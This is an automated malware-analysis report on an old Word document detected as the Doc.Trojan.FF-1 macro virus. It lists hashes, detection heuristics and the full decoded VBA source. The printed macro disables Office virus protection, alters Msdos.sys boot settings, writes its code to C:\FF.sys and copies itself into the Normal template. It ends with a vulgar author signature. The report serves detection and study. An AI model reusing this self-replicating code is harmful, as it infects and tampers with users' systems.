Office (OLE) malware analysis — malicious · 6931b34f707bd3de

MALICIOUS

Office (OLE)

37.0 KB Created: 1997-04-26 17:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: ae1bfe004069148f926bdf3ddc4dea76 SHA-1: 586999b608905678e25d7977752e3bbccfcab609 SHA-256: 6931b34f707bd3de77e0429bc0237a1dca953e6ad1f1fceff0975b76704b5ddd

256 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, including the presence of WordBasic macro virus markers and AutoClose/Document_Open VBA macros. These macros are designed to execute malicious code when the document is opened or closed, indicating a potential for payload delivery or system compromise. The ClamAV detection further confirms its malicious nature.

Heuristics 6

ClamAV: Doc.Trojan.FF-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.FF-1
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
NormalTemplate.VBProject.VBComponents.Item(1).codemodule.deletelines 1, NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines: ActiveDocument.VBProject.VBComponents.Item(1).codemodule.deletelines 1, ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
```

Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro

Matched line in script

Private Sub document_Open(): On Error Resume Next: Options.ConfirmConversions = (0 - 0): Options.SaveNormalPrompt = (1 - 1): Options.VirusProtection = (2 - 2): CommandBars("Tools").Controls("Macro").Delete

Auto_Close macro low OLE_VBA_AUTOCLOSE

Auto_Close macro
Matched line in script
```
Sub AutoClose()
```
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	8006 bytes
SHA-256: `84f8ddeebec3e155ecda2d7e9d22bf08d7b2e31f4e42f88a5cc16923a7caefce`
Detection ClamAV: Doc.Trojan.FF-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoClose() 'OPEY A.4-11-99 10:24:56HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:07HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit Sub ToolsMacro() 'OPEY A.4-11-99 10:24:57HP LaserJet 4 on LPT1:Service Level AgreementsClippit 'Chris Van Vaek25/10/99 15:41:08HP LaserJet 6P/6MP - Standaard on LPT1:Service Level AgreementsClippit End Sub Private Sub document_Open(): On Error Resume Next: Options.ConfirmConversions = (0 - 0): Options.SaveNormalPrompt = (1 - 1): Options.VirusProtection = (2 - 2): CommandBars("Tools").Controls("Macro").Delete If Day(1) Then: SetAttr "C:\Msdos.sys", vbNormal: System.PrivateProfileString("C:\Msdos.sys", "Options", "BootGUI") = "0": SetAttr "C:\Msdos.sys", vbSystem + vbHidden + vbReadOnly Open "C:\FF.sys" For Output As #1: Print #1, MacroContainer.VBProject.VBComponents.Item(1).codemodule.Lines(1, MacroContainer.VBProject.VBComponents.Item(1).codemodule.CountOfLines): Close #1 NormalTemplate.VBProject.VBComponents.Item(1).codemodule.deletelines 1, NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines: ActiveDocument.VBProject.VBComponents.Item(1).codemodule.deletelines 1, ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines NormalTemplate.VBProject.VBComponents.Item(1).codemodule.AddFromFile ("C:\FF.sys"): ActiveDocument.VBProject.VBComponents.Item(1).codemodule.AddFromFile ("C:\FF.sys"): ActiveDocument.SaveAs FileName = ActiveDocument.FullName: End Sub ';;;;;;;;;;;;;' '~FistFuck:~By~Lys~KovicK~' '~Enjoy~The~HandJob~Bitch~' '''''''''''''''

Open this report in the interactive analyzer, or submit your own file for analysis.